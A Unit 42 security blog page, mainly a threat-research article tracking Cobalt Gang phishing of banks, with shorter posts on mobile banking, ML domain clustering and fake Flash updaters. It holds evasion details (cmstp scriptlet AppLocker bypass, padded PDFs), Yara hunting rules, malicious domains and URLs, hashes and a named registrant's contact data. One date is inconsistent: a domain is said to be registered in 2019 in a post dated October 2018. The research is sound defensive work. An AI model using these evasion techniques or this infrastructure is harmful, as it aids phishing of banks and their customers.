New Techniques to Uncover and Attribute Cobalt Gang Commodity Builders and Infrastructure Revealed

Posted on October 25, 2018November 5, 2018 by Unit 42

Nowadays, it’s very easy for an advanced attacker to use commodity tools and malware along with very simple initial delivery methods to keep a low profile and stay away from possible attribution. One of the most common approaches is the use of spear phishing emails employing social engineering or commonly used exploits (such as CVE-2017-0199 or the ThreadKit builder) to trick the employees of organizations of interest. Once the initial infection has occurred is when the attacker becomes more sophisticated, deploying advanced custom pieces of malware, more advanced tools, and/or using living-off-the land tools (such as the use of PowerShell, or tools like CMSTP or Regsvr32).

This approach makes it more difficult for threat hunters and defenders to find those needles in the haystack necessary to identify a campaign and its objectives. However even if an attacker uses commodity builders and tools, there is always a chance to find specific signals or characteristics that help to identify and track an actor’s infrastructure. One of the groups well known for following these TTPs is the Cobalt Gang, which is still active even after the arrest of their alleged leader in Spain this year.

During October 2018, Unit 42 has been investigating ongoing Cobalt Gang campaigns, as well as leveraging the latest information publicly reported in research reports, such as the ones described by Talos or Morphisec, to help discover and tie new infrastructure to this attack group.

As a result, we have been able to identify both the use of a common macro builder as well as specific document metadata which have allowed us to track and cluster new activity and infrastructure associated with the Cobalt Gang.

A Recent Effective Example of Delivery

One of the latest examples related to the campaign under analysis was used in attacks just a few days ago. It shows the simplicity of the attack delivery employed by this group.

The attack reinforces the fact that email is still one of the primary attack vectors we continuously observe. This attack begins by targeting employees at several banking entities across the globe using an email with subject “Confirmations on October 16, 2018”.

The sample shown in Figure 1 can already be found in popular public online malware repositories.

(SHA256: 5765ecb239833e5a4b2441e3a2daf3513356d45e1d5c311baeb31f4d503703e).

Figure 1. Example of Email delivery

The attachment is just a PDF document without any kind of code or exploit. Instead it seeks to use social engineering to convince the user click a link to download a malicious macro. This is a method used before by the Cobalt Gang and discussed in previous research as for example by Talos.

Figure 2. PDF sample with embedded link

The PDF is simple and embeds a link that will open a legitimate Google location, and redirect the browser to a malicious document from there:

Figure 3. Malicious doc browser redirect

In order to be effective against static analysis tools, the PDF that attackers crafted the PDF to seem more authentic: it contains empty pages as well as some text pages that help in not raising red flags during analysis, shown in Figures 4 and 5. Keep in mind that PDFs with low number of pages or high entropy in the content can raise suspicious flags in static analysis.

Figure 4. PDF static analysis

Figure 5. PDF text used to fill pages

By employing these two techniques the PDF avoids almost all traditional AV detection, resulting in a very effective transport of the first stage of the attack via email.

If the attack progresses, the user will be taken to the download of an MS Word document containing malicious macros that has very low detection rate at the moment of this campaign delivery. From a metadata standpoint, the document does not include any specific signal or characteristic that would help us tracking documents from the same author, as shown in Figure 6.

Figure 6. Doc102018.doc metadata

The downloaded malicious macro uses cmstp.exe to run a “scriptlet”, a technique well known to bypass AppLocker, and continues with the next stages of the payload delivery. The objective of this research is not the payload analysis, but to focus on all possible aspects of the attack delivery for further tracking on the actors’ campaign and its associated infrastructure.

So, the question is now… how can this simple delivery method help identify the campaign and objectives?

Macro Builder Identification

The attack also achieves quite low detection results with its macro code, so one of the first focuses of the investigation is the identification of a possible underlying builder. By looking into the macro code for “Doc102018.doc”, we can posit multiple theories.

The macro code is over 1500 lines in length, and starts declaring a set of variables with a very specific nomenclature (in this sample, letXX(num)):

Figure 7. Example of format of macro variables

Some of the variables are used in long encoding / decoding routines based on individual character assignations:

Figure 8. Using specific variable format in decoding routines

Procedures and functions are also defined using the same nomenclature (in this sample, letXX()):

Figure 9. Procedures and Functions in VBA code

And it makes use of the API call “CallByName” to invoke methods at runtime:

Figure 10. Use of CallByName in VBA code

If we analyze some previous samples linked to Cobalt Gang, such as the ones depicted by Morphisec, this pattern is also observable (in this case, using PkXX instead of letXX):

Figure 11. VBA pattern in other documents

One initial approach to hunt for the pattern can be based on the following regular expressions for the different areas:

Variable definitions /[A-Za-z]k[0-9]{2}([0-9]{1})/

Function definitions /Private Function [A-Za-z]{2,5}[0-9]{2,3}\(/

Procedure definitions /Sub [A-Za-z]{2,5}[0-9]{2,5}\(/

In order to test our hypothesis for the builder we created the following Yara rules:

rule cmstp_macro_builder_rev_a
{
    meta:
        description="CMSTP macro builder based on variable names and runtime invoke"
        author="Palo Alto Networks Unit42"
    strings:
        $method="CallByName"
        $varexp=/[A-Za-z]k[0-9]{2}([0-9]{1})/
    condition:
        $method and
        #method == 2 and
        #varexp > 10
 
}
 
rule cmstp_macro_builder_rev_b {
    meta:
        description="CMSTP macro builder based on routines and functions names and runtime invoke"
        author="Palo Alto Networks Unit42"
    strings:
        $func=/Private Function [A-Za-z]{1,5}[0-9]{2,3}\(/
        $sub=/Sub [A-Za-z]{1,5}[0-9]{2,5}\(/
        $call="CallByName"
    condition:
        $call and
        #func > 1 and
        #sub > 1
}

rule cmstp_macro_builder_rev_a

{

meta:

description="CMSTP macro builder based on variable names and runtime invoke"

author="Palo Alto Networks Unit42"

strings:

$method="CallByName"

$varexp=/[A-Za-z]k[0-9]{2}([0-9]{1})/

condition:

$method and

#method == 2 and

#varexp > 10

}

rule cmstp_macro_builder_rev_b {

meta:

description="CMSTP macro builder based on routines and functions names and runtime invoke"

author="Palo Alto Networks Unit42"

strings:

$func=/Private Function [A-Za-z]{1,5}[0-9]{2,3}\(/

$sub=/Sub [A-Za-z]{1,5}[0-9]{2,5}\(/

$call="CallByName"

condition:

$call and

#func > 1 and

#sub > 1

}

Hunting with these Yara rules leads to very positive results identifying this builder as well as a set of malicious documents using it. But the documents identified are not always targeting the finance or banking industries, and so, we cannot guarantee that this builder is only used by this specific Cobalt Gang group and its campaigns against those industries.

However, using this in combination with other aspects such as the target, payload, or dropper characteristics, becomes very useful in tracking this group’s campaigns, as we will see in the following sections.

Let’s focus then on the first stage of the delivery, the PDF documents.

Common Signals in PDF Documents

As we have seen, the use of a commodity PDF file with an embedded Google redirect link results in a very effective social engineering artifact. As there is no exploit or code executed, our research will now be focused on the metadata information from the document for further analysis.

Figure 12. PDF Exiftool metadata

Our next hypothesis would be to check if the PDF documents could have been created based on a template document, where the author modifies the embedded link in the PDF and saves different document versions over time.

Based on the XMP specification, we will pay attention to the values of the “DocumentID” and “InstanceID” Media Management Properties:

Figure 13. XMP Media Management Properties

In order to confirm this hypothesis, let’s focus on the Document ID metadata field. Basically, saving the same template twice with 2 different links would produce the same Document ID but multiple Instance ID values (one per saved document).

Searching our telemetry data for this metadata content produces interesting results.

In order to help hunting for the content, the following Yara rule also could be used:

rule cobaltgang_pdf_metadata_rev_a{
    meta:
        description="Find documents saved from the same potential Cobalt Gang PDF template"
        author="Palo Alto Networks Unit 42"
    strings:
             $ = "<xmpMM:DocumentID>uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338" ascii wide
    condition:
             any of them
}

rule cobaltgang_pdf_metadata_rev_a{

meta:

description="Find documents saved from the same potential Cobalt Gang PDF template"

author="Palo Alto Networks Unit 42"

strings:

$ = "<xmpMM:DocumentID>uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338" ascii wide

condition:

any of them

}

The results confirm our hypothesis (see Appendix for IOCs), and we have been able to find multiple PDF files that the attacker has saved with different contents but starting on the same “template”, all of them sharing the same characteristics.

(different content)

Figure 14. Example PDF document

Further analysis on the subsequent stages of the attack will allow us to confirm if the samples are related to Cobalt Gang campaigns.

For example, let’s analyze the following document:

Observed File Name	SHA256
REMITTER REFERENCE PMT.pdf	1d0aae6cff1f7a772fac67b74a39904b8b9da46484b4ae8b621a6566f7761d16

The document was delivered by email, with the subject “Fund Transfer 08-October-2018", targeting banking customers:

Figure 15. Email data associated to REMITTER REFERENCE PMT.pdf

And it contains the embedded link redirecting to the following URL:

hxxps://fundswp[.]com/Document082018.doc

Which downloads the document:

Observed File Name	SHA256
Document082018.doc	020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee

By extracting the macro code, we can validate how it matches the macro builder described in the previous section. The following output shows how running the Yara rule searching for the macro builder against the extracted VBA contents of the document produces the expected match in its contents:

❯ yara cmstp_macro_builder.yar 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles

cmstp_macro_builder_2 
020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles/e657fe761effbe7e11e3cc343ba6845c2c9a6c989e7b805717d2e1417387528f.vba.decoded

cmstp_macro_builder_2 
020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles/8a6d2cccb6f2007cb7fa29d3f009f9fbe305bffc45dc35d3828f2dc3c41b3cb7.vba.raw

❯ yara cmstp_macro_builder.yar 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles

cmstp_macro_builder_2

020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles/e657fe761effbe7e11e3cc343ba6845c2c9a6c989e7b805717d2e1417387528f.vba.decoded

cmstp_macro_builder_2

020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles/8a6d2cccb6f2007cb7fa29d3f009f9fbe305bffc45dc35d3828f2dc3c41b3cb7.vba.raw

The pieces of our puzzle start to match for this campaign if we now put things in perspective:

Hunting for PDF files that are created with the same “DocumentID” management metadata field result in a set of files that have been used in email delivery against banking entities.
All of the PDF files embed a link based on a Google redirect, leading to the download of a Microsoft Office document file.
The Microsoft Office document files contain macros for code execution. Those macros match the characteristics of the builder that we have characterized.

Discovering the Attacker’s Infrastructure

With these results obtained, we can start to move towards finding attacker infrastructure pieces based on multiple aspects, such as the hunting rules defined in previous sections, session data obtained by our telemetry, or public WHOIS registrar data.

Using our “hunting rules”

Based on the metadata and builder characteristics, we have tracked a set of malicious PDF and Office files (see Appendix) that provide us with domains and Office files in use by the attacker.

Some examples of the PDF and embedded C2 links and document names are below in Table 1:

SHA256	Embedded Link
1fd9ba8eb97bf03cd4d3cbaac867595c920f1f36ebfbe9c1fc76558ea5e0ece5	hxxp://www[.]pedidoslalacteo[.]com[.]ar/Proof-of-payment-19.09.2018.doc
5ac1612535b6981259cfac95efe84c5608cf51e3a49b9c1e00c5d374f90d10b2	hxxps://s3[.]sovereigncars[.]org[.]uk/inv005189.pdf
07f60611836c0a679c0fb2e25f5caeb4d29cd970919d47f715666b80be46f45c	hxxps://alotile[.]biz/Document092018.doc
9d6fd7239e1baac696c001cabedfeb72cf0c26991831819c3124a0a726e8fe23	hxxps://goo[.]gl/mn7iGj Which redirects to: hxxps://document[.]cdn-one[.]biz/doc000512.pdf
444c63bb794abe3d2b524e0cb2c8dcc174279b23b1bce949a7125df9fab25c1c	hxxps://safesecurefiles[.]com/doc041791.pdf
a5f2ad08b5afdbd5317b51d0d2dd8f781903522844c786a11a0957a81abfd29e	hxxp://www[.]mky[.]com/Proof-of-payment-19.09.2018.doc
df18e997a2f755159f0753c4e69a45764f746657b782f6d3c878afb8befe2b69	hxxps://mail[.]halcyonih[.]com/uploads/doc004718538.pdf

Table 1. Example PDF and embedded links

The PDF documents and URLs allowed us to discover multiple overlaps between this new infrastructure and the existing knowledge about Cobalt Gang attributed activity in previous research, corroborating new infrastructure belonging to the same attacker.

Let’s see a couple of examples of PDF documents from the list which belong to the same Document ID.

Observed File Name	SHA256
inv005189.pdf	5ac1612535b6981259cfac95efe84c5608cf51e3a49b9c1e00c5d374f90d10b2

This sample has been already documented in previous campaigns, being related to s3[.]sovereigncars[.]org[.]uk domain. See the Talos blog.

Observed File Name	SHA256
doc000512.pdf	9d6fd7239e1baac696c001cabedfeb72cf0c26991831819c3124a0a726e8fe23

The sample embeds the URL hxxps://goo[.]gl/mn7iGj which is actually a shortened URL resolving to hxxps://document[.]cdn-one[.]biz/doc000512.pdf.

Domain cdn-one[.]biz is a well-known Cobalt Gang attributed domain in previous analysis.

The complete list of domains used by the PDF identified can be found in the Appendix section.

Pivoting on Email Sender Telemetry

Based on email delivery data, our telemetry helps us collecting samples related and indicators related to the campaign.

Let’s put a simple example of how tracking session data lead us to new infrastructure, by using some of the email sender data that is identified in malicious email sessions sending the PDF documents.

For example, the following senders belong to the recent campaign and are spoofing both legitimate email domains and senders:

dominique.denis-berube.1@ulaval.ca

billb@verticalwebmedia.combillb@verticalwebmedia.com

benoit.filion.2@ulaval.cabenoit.filion.2@ulaval.ca

dominique.denis-berube.1@ulaval.ca

Some of the samples delivered by these senders and their embedded links are shown below in Table 2:

SHA256	Embedded link
1c1a6bb0937c454eb397495eea034e00d1f7cf4e77481a04439afbc5b3503396	hxxps://alotile.biz/Document092018.doc
187e0d911cd0393caad1364ded1c394257cd149898b31f9718c7c6319af79818	hxxps://alotile.biz/Document042018.doc
988d430ce0e9f19634cf7955eac6eb03e3b7774b788010c2a9742b38016d1ebf	hxxps://fundsxe.com/Document09202018.doc
852f11e5131d3dab9812fd8ce3cd94c1333904f38713ff959f980a168ef0d4ce	hxxps://fundsxe.com/Document09222018.doc

Table 2. Email sender associated PDFs and embedded links

These sample are delivered under the following file names:

REMITTER REFERENCE PMT.pdf

Aml_S0680260A79301.pdf

CIT180126-000768.pdf

AMENDMENT.pdf

Citi720TEME171440008_Query.pdf

Query _S-170526-005399.pdf

Both the domains and file names correlate with the results of the domains obtained based on hunting for PDFs metadata and macro builder structure, allowing us to keep tracking new activity over time.

WHOIS Registrar Overlaps

Two of the newly discovered domains used by the collected PDF documents have very interesting registrant information, pointing to a public registrant name, “grigoredanbadescu”.

Figure 16. Historical DNS data on safesecurefiles[.]com

Domains:

safesecurefiles[.]com

document[.]cdn-one[.]biz

WHOIS registrar information:

grigoredan@centrum.cz

Grigoredanbadescu

+4001289858474 (Romania)

Brasov

Romania

By pivoting on infrastructure related to the same registrant data we can obtain a very interesting set of domains:

arubrabank[.]com

outlook-368[.]com

usasecurefiles[.]com

safesecurefiles[.]com

ms-server838[.]com

msoffice-365[.]com

total-share[.]biz

bank-net[.]biz

cdn-one[.]biz

total-cloud[.]biz

web-share[.]biz

cloud-direct[.]biz

n-document[.]biz

my-documents[.]biz

firstcloud[.]biz

yourdocument[.]biz

xstorage[.]biz

safe-cloud[.]biz

via24[.]biz

zstorage[.]biz

webclient1[.]biz

bnet1[.]biz

firstcloud[.]biz

mycontent[.]biz

total7[.]biz

freecloud[.]biz

contents[.]bz

judgebin[.]bz

Many of the domains listed are already known as malicious domains attributed to other Cobalt Gang campaigns.

As an important note “arubrabank[.]com” is a new domain registered on 2019-09-18 and still not observed in an active campaign.

The domain seems to be intended to mimic the legitimate Arubabank website for further activity:

Figure 17. Arubabank legitimate site

Infrastructure Relationships

Let’s summarize all the pieces of our puzzle, now that we can put together all the relationships we observed.

Figure 18. Maltego graph. Summary of relations and overlaps.

As it can be observed in the different clusters of activity:

The initial cluster of PDF documents, on the left, links to specific domains for the download of Microsoft Office files using the macro builder structure.
Some of the domains in use are publicly registered with the name of “grigoredanbanescu” and allow us to find other related domains, which are already linked to previous Cobalt Gang activity.
Some of the initial PDFs have relations with Microsoft Office files linked to “grigoredanbanescu” activity, confirming again the relationships.

Conclusion

Commodity attacks are widely used for both criminal and more targeted attacks, making identification difficult for networks defenders and threat hunters. One actor that makes extensive use of this approach to compromise victims is the Cobalt Gang.

By focusing on specific aspects of the macro builders and metadata the actors left behind we were able to develop new mechanisms to track and hunt Cobalt Gang activity and infrastructure.

Palo Alto Networks customers are protected in the following ways:

WildFire detects malware samples used by this campaign.
Traps prevents these attacks at the endpoint.
All involved malicious domains have been covered by PAN-DB URL Filtering.
An Autofocus tag has been created for tracking CobaltGang actor group.

Appendix – Indicators of Compromise

Initial example

Type	SHA256
Email	2f74c8b55292d59ab66960f21a4413d4d54f8b7500bb385954e7ffe68d775443
PDF	57f65ecb239833e5a4b2441e3a2daf3513356d45e1d5c311baeb31f4d503703e
Microsoft Office Document	07a3355f81ff69a197c792847d0783bfc336181d66d3a36e6b548d0dbd9f5a9a
Domain	transef[.]biz

Outlook messages

477c432382c97648767ee45c264f0f2aaf8d3d9f9ed547d8418db12b7c140760

e0f1dbc10088b68f772ee73b0785c3d67b8e5f147b687911613d163ad5ebda6d

e6a17617eaa98c49bfb2c9d3d090ffea69bb0c1864c43861bdf8d027339ea847

Microsoft Office Document (Macro builder)

020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee

8004601c08983420408d2784e2a4aa79de426d41a09726a884edcb21f83ee7f8

d8a2384a51cd59f6390e6a4fcb04b51358cdbd5e04cae5be23daae548c306a73

161ba501b4ea6f7c2c8d224e55e566fef95064e1ed059d8287bc07e790f740e8

62a278119d732e4c839ee074553f087588a9040be027bdf9e617413c6fd2e9af

641d692386dab5ca60f4c6b1da0edecc5c3473c9a7d187dad6098786404780a3

07a3355f81ff69a197c792847d0783bfc336181d66d3a36e6b548d0dbd9f5a9a

161ba501b4ea6f7c2c8d224e55e566fef95064e1ed059d8287bc07e790f740e8

12ecb6b3780cd19ea84f6e84e816a701e8231441bf90145481baa0648139e001

a6f941fcec01fb006fc51df96396aeeb826cdf3864756669e19cb145fe41692f

19dc9b93870ddc3beb7fdeea2980c95edc489040e39381d89d0dfe0a825a1570

cb5644bd670dcd9caf5185ebe396996e514ed1d93982157186611135aea79bd3

a0111977c79f4eb30511f22055b54e4e973c0501240f3ba462691b1b4999d561

PDF Documents

3a7525ffa571775aca45551ebd2c192d9b8ed45db1a61bdd8398d91db885d7a2

1d0aae6cff1f7a772fac67b74a39904b8b9da46484b4ae8b621a6566f7761d16

1c1a6bb0937c454eb397495eea034e00d1f7cf4e77481a04439afbc5b3503396

187e0d911cd0393caad1364ded1c394257cd149898b31f9718c7c6319af79818

988d430ce0e9f19634cf7955eac6eb03e3b7774b788010c2a9742b38016d1ebf

852f11e5131d3dab9812fd8ce3cd94c1333904f38713ff959f980a168ef0d4ce

9d6fd7239e1baac696c001cabedfeb72cf0c26991831819c3124a0a726e8fe23

5ac1612535b6981259cfac95efe84c5608cf51e3a49b9c1e00c5d374f90d10b2

df18e997a2f755159f0753c4e69a45764f746657b782f6d3c878afb8befe2b69

a5f2ad08b5afdbd5317b51d0d2dd8f781903522844c786a11a0957a81abfd29e

66bd5e492531adf675897de5de8aee427b896c9b2c406daff006ce6a4e8aa810

1fd9ba8eb97bf03cd4d3cbaac867595c920f1f36ebfbe9c1fc76558ea5e0ece5

d5328e519daadaf1520619da1f24f6d81d23c84222640058bbb366752be93537

94c9fa812cebb733eda3a4eed33a0a49b60c207bb0f9153c0d08724c8b30f578

07f60611836c0a679c0fb2e25f5caeb4d29cd970919d47f715666b80be46f45c

7b9c183dc40c8d765e98024f8fb6565c69dee2bb97957c5ba754a23d2698bf7a

195580b78e144f66ac1f9be2b927d7828ed1dc3974dc1897e0ed59a96ac8f4e1

444c63bb794abe3d2b524e0cb2c8dcc174279b23b1bce949a7125df9fab25c1c

07f60611836c0a679c0fb2e25f5caeb4d29cd970919d47f715666b80be46f45c

7629dfcc9345578626a250afb67027955c6f78dd80b771c2968c5be0d4b11c59

195580b78e144f66ac1f9be2b927d7828ed1dc3974dc1897e0ed59a96ac8f4e1

b92707ebfaa15225064ff3a1a7d279b3dde1e70200e37d0074e9acc160cb16a7

ebf309ecd6c7a0911e1252d9e90fd302bfbd3e1d2679772025bdb9cc38bca141

57f65ecb239833e5a4b2441e3a2daf3513356d45e1d5c311baeb31f4d503703e

Domains

alotile[.]biz

fundsxe[.]com

s3[.]sovereigncars[.]org[.]uk

safesecurefiles[.]com

document[.]cdn-one[.]biz

mail[.]halcyonih[.]com

transef[.]biz

Domains registered by “grigoredanbanescu”

arubrabank[.]com

outlook-368[.]com

usasecurefiles[.]com

safesecurefiles[.]com

ms-server838[.]com

msoffice-365[.]com

total-share[.]biz

bank-net[.]biz

cdn-one[.]biz

total-cloud[.]biz

web-share[.]biz

cloud-direct[.]biz

n-document[.]biz

my-documents[.]biz

firstcloud[.]biz

yourdocument[.]biz

xstorage[.]biz

safe-cloud[.]biz

via24[.]biz

zstorage[.]biz

webclient1[.]biz

bnet1[.]biz

firstcloud[.]biz

mycontent[.]biz

total7[.]biz

freecloud[.]biz

contents[.]bz

judgebin[.]bz

URLs

hxxp://www[.]pedidoslalacteo[.]com[.]ar/Proof-of-payment-19.09.2018.doc

hxxps://s3[.]sovereigncars[.]org[.]uk/inv005189.pdf

hxxps://alotile[.]biz/Document092018.doc

hxxps://goo[.]gl/mn7iGj

hxxps://document[.]cdn-one[.]biz/doc000512.pdf

hxxps://safesecurefiles[.]com/doc041791.pdf

hxxp://www[.]mky[.]com/Proof-of-payment-19.09.2018.doc

hxxps://mail[.]halcyonih[.]com/uploads/doc004718538.pdf

hxxps://e-dropbox[.]biz/doc058915654e.pdf

hxxp://www[.]bit[.]do/etaYk

hxxps://cloud-direct[.]biz/doc0047581678.pdf

hxxps://transef[.]biz/Doc102018.doc

Observed File Names

Document082018.doc

REMITTER REFERENCE PMT.pdf

Aml_S0680260A79301.pdf

CIT180126-000768.pdf

AMENDMENT.pdf

Citi720TEME171440008_Query.pdf

Query _S-170526-005399.pdf

Document092018.doc

Proof of payment 19.09.2018.doc

Document092018.doc

doc005681.doc

Threat Brief: Embrace Mobile Banking with Caution

Posted on October 23, 2018April 18, 2019 by Unit 42

The Brazilian Central Bank recently announced that 2017 was the first year in which people did more banking using mobile devices than on PCs. There were 24.5 billion mobile banking transactions while there were 20.6 billion PC-based transactions.

Not all countries are embracing mobile banking as quickly as Brazil. But, mobile banking use is picking up around the globe.

What is it?

As more people move to mobile banking, we believe attackers will focus their attacks away from PC banking and towards mobile banking. This means the risks of losing control of your accounts through mobile online banking are likely to increase. And that means the money in your accounts is at risk.

Why should I care, what can it do to me?

Attackers are predictable: they follow people and money. Brazil was one of the first countries to widely embrace Internet banking and to see attackers go after Internet banking.

What can I do about it?

It’s time to take precautions and start good mobile banking security habits.

Get your mobile banking apps only from official sources like the Apple App Store and the Google Play Store. Follow your bank’s directions to ensure you get their official app.
Keep your apps and devices up-to-date. If your device won’t run the latest versions of Android or iOS, it’s time to upgrade.
Run mobile security software on your devices.
If your bank offers additional login security, sign up for it. This is sometimes referred to as “additional tokens” or “two-factor authentication”.
Enable your device’s “remote wiping” feature and make regular backups. If you lose your device, use the “remote wiping” feature to ensure people can’t use it to steal your money with it.
If possible, sign up for extra security with your cell phone carrier to ensure only you can get new phones on your account.

About

Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.

They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.

Got a topic you want us to write about for you, your friends, or your family? Email us at u42comms@paloaltonetworks.com.

Detecting Malicious Campaigns with Machine Learning

Posted on October 12, 2018November 5, 2018 by Michael Weber

We're always working to find new ways to protect customers and prevent successful attacks, and one recent addition to our research arsenal is the use of unsupervised machine learning on large datasets of domain information. Machine learning-based techniques like this can help us discover new threats and block them before they can affect our customers. They can quickly identify malicious domains that are part of larger campaigns as soon as they become active and provide much broader coverage for these campaigns than traditional methods.

This blog gives some details and examples of how we are using this unsupervised machine learning. Specifically, in one recent phishing campaign, we found 333 active domains. On the first day of this campaign being active in the wild, only 87 domains were known to a popular online malware database and all were wholly unknown to two well-known block lists. In the following two weeks, the best performing block list only blocked 247 of the 333 domains and the malware database only recognized 93.

Our unsupervised machine learning expands total coverage of these campaigns and identifies them early, before they impact vulnerable users. In the case of the campaign discussed below and other campaigns detected using the same technique, Palo Alto Networks customers were protected within one day of the domains going live.

Background

One class of malicious online activity involves the use of many domains for the same purpose and for a short duration of time. These campaigns often take advantage of a recent topical event, like the World Cup, and the domain names often utilize typo-squatting of legitimate domain names or names that indicate some relevance to legitimate services, like c0mpany.com for company.com.

A previous example of this is the release of malicious campaigns after the Equifax data breach of 2017. In the case of the Equifax breach, the credit reporting agency set up a legitimate website, www.equifaxsecurity2017[.]com, to help people determine whether they had been affected. This triggered one or more malicious campaigns that registered hundreds of domains that closely mimicked the real URL. For example, www.equifaxsecurity3017[.]com.

It is generally easy to look closely at a single domain name and tell that it is fraudulent but, because hundreds of such domains can be created in a campaign, the challenge is finding all fraudulent domains before they start to impact a large number of people. While they have slightly different domain names, malicious domains belonging to the same campaign still share many common characteristics such as IP subnet, Autonomous System Number (ASN), DNS Time-To-Live (TTL), Whois information, and many other attributes. Based on this observation, we have implemented a system to extract attributes from DNS traffic and cluster domains based on their similarity. Our system complements existing methods and can identify campaign domains that might not be identified otherwise.

Figure 1: High-Level process

Approach

Our approach (see Figure 1) is to cluster domains that have been seen in passive DNS records. Passive DNS is a mechanism to record DNS query/response traffic. The records mainly consist of timestamp, the requested domain, and the corresponding IP address, among other pieces of data. For privacy reasons, DNS traffic from individual clients ("recursion desired" bit is set) is not captured and the client IP is also removed.

Passive DNS records are available from a variety of sources and are often used by researchers to understand Internet traffic at scale. There are generally more than 6 terabytes of passive DNS records available daily for our analysis.

We cluster these domains using features that have been generated from information in the passive DNS records, such as IP address, as well as other sources, like BGP and Whois. This provides us clusters of domains that are related to each other but are otherwise unlabeled as benign or malicious.

Because this data is unlabeled at this point, this is an application of unsupervised machine learning. We know that the domains that are grouped together share many common characteristics, but not whether they are malicious or not. To find the malicious clusters, we use seed domains that appear to be part of a new campaign and we have verified as malicious.

Seed Domains

Seed domains are examples of malicious domains that appear to show up in groups.

The seeds can be found in a variety of ways and we currently focus on three sources of information to identify candidate seed domains: Domain Registrations, Newly Seen Domains, and Trending Topics.

Domain Registrations

We look at domains that have been recently registered and find groups that have similar names. If the campaign is taking advantage of a recent event, then a large group of domains may be registered with a name corresponding to the event. We check any groups for known malicious domains and the results are placed in our list of seed domains. We identify known malicious domains based on our own detections as well as 3rd-party threat intelligence such as a popular online malware database. Many malicious domains may not be known or reported at this point, but we only need to find a few examples to start the process.

Newly Seen Domains

We also check for new domains in the passive DNS records that have never been seen before. These may have been registered long ago but not placed in service until the campaign was launched. We search these for groups of similar names and identify seeds from any that are known to be malicious.

Trending Topics

We also search social media for trending topics. If any well-publicized events occur, they will often show up in the daily social media trends. We cross-check trending words that are seen on Google or Twitter with recently seen domain names. For example, if we see a Google trend that relates to a recent event, like a sporting event, we check recently seen domains that also reference that sporting event. We again look for groups of similar names and check for any that are known to be malicious. With our list of seed domains, we are now ready to search for clusters of domains that contain these seeds.

Finding Malicious Clusters

After we identify the group of seed domains we will use, we search for them among the clusters of domains that we previously calculated from the passive DNS data. (See Figure 2.) Any cluster with a significant percentage of seed domains is considered a malicious campaign and all domains in the cluster are marked as malicious.

Figure 2: Clusters of domains

Results

As an example, we recently discovered a phishing campaign that used malicious domains with names like check-box-with-money##[.]loan. We picked up this group of domains by observing a group of similar domains registered at the same time. On day one, we saw 77 domains registered. Of these, only 17 were known to a popular online malware database but this was enough to add them to our seed group. Through the clustering analysis of domains seen in passive DNS, we immediately saw 2 additional domains not seen from registration.

The following day, we found another 16 domains in the campaign, then 58 domains, and then 88 domains. In the first two weeks of this campaign, we found 333 domains that were associated with this phishing campaign.

More interestingly, of those 333 domains, we found that 247 of them were unknown to a popular online malware database on the first day that the domains were seen in the wild. In the subsequent two weeks, only 7 of those domains were eventually flagged. After two weeks, 240 domains were still not flagged as phishing by that database even though the domains were actively present on the internet and clearly part of the same campaign.

We also checked with two well-known blocklists. Of these blocklists, we found that neither had started blocking the domains on the first day that they were seen on the Internet. In the subsequent two weeks, of the 333 domains, one blocked only 80 of the domains and the other blocked 247.

These results highlight that even though some domains in the campaigns are found by the security community, it is easy for many of the domains to get through unblocked which is the ultimate goal of the attacker.

Conclusion

This is only one example. In the last two months, we discovered 15 distinct campaigns composed of over 1,000 active domains. Although active and part of the campaigns, many of those domains have not been individually identified by several popular 3^rd party services. Of the domains that have been identified by a 3^rd party service, we find the domains an average of 2.8 days before an online malware database, 3.9 days before one popular block list, and 2.4 days before another. The maximum deltas we have seen to date among the domains identified by 3^rd parties are 46 days for the malware database, 15 days for the first block list, and 32 days for the second. Figure 3 shows the overall comparison of time to identification.

Figure 3: Time until identification by 3^rd parties

Protection and Call to Action

Palo Alto Networks customers are protected against these malicious and phishing domains through PAN-DB URL Filtering and DNS C2 signatures that are part of the Threat Prevention subscription. Palo Alto Networks firewall customers can help our passive DNS research to proactively find malicious and phishing domains. To enable passive DNS sharing in PAN-OS version 8.0 or a later release, select “Passive DNS Monitoring” (Device > Setup > Telemetry). For PAN-OS 7.1 or an earlier release, passive DNS sharing is enabled in the Anti-Spyware security profile. The passive DNS records mainly consist of timestamp, the requested domain, and the corresponding IP address, among other pieces of data. For privacy reasons, DNS traffic from individual clients ("recursion desired" bit is set) is not captured and the client IP is also removed.

Fake Flash Updaters Push Cryptocurrency Miners

Posted on October 11, 2018August 17, 2026 by Brad Duncan

In most cases, fake Flash updates pushing malware are not very stealthy. In recent years, such imposters have often been poorly-disguised malware executables or script-based downloaders designed to install cryptocurrency miners, information stealers, or ransomware. If a victim runs such poorly-disguised malware on a vulnerable Windows host, no visible activity happens, unless the fake updater is pushing ransomware.

However, a recent type of fake Flash update has implemented additional deception. As early as August 2018, some samples impersonating Flash updates have borrowed pop-up notifications from the official Adobe installer. These fake Flash updates install unwanted programs like an XMRig cryptocurrency miner, but this malware can also update a victim's Flash Player to the latest version.

Because of the legitimate Flash update, a potential victim may not notice anything out of the ordinary. Meanwhile, an XMRig cryptocurrency miner or other unwanted program is quietly running in the background of the victim's Windows computer.

Figure 1: Flow chart for this activity

Trends

While searching for these particular fake Flash updates, we noticed Windows executables file names starting with AdobeFlashPlayer__ from non-Adobe, cloud-based web servers. These downloads always contained the string flashplayer_down.php?clickid= in the URL. We found 113 examples of malware meeting these criteria since March 2018 in AutoFocus. 77 of these malware samples are identified with a CoinMiner tag in AutoFocus. The remaining 36 samples share other tags with those 77 CoinMiner-related executables. See Appendix A for the full list of the file hashes.

Appendix B lists 473 file names and URLs for these fake Flash updates from March 25th, 2018 through September 10th, 2018.

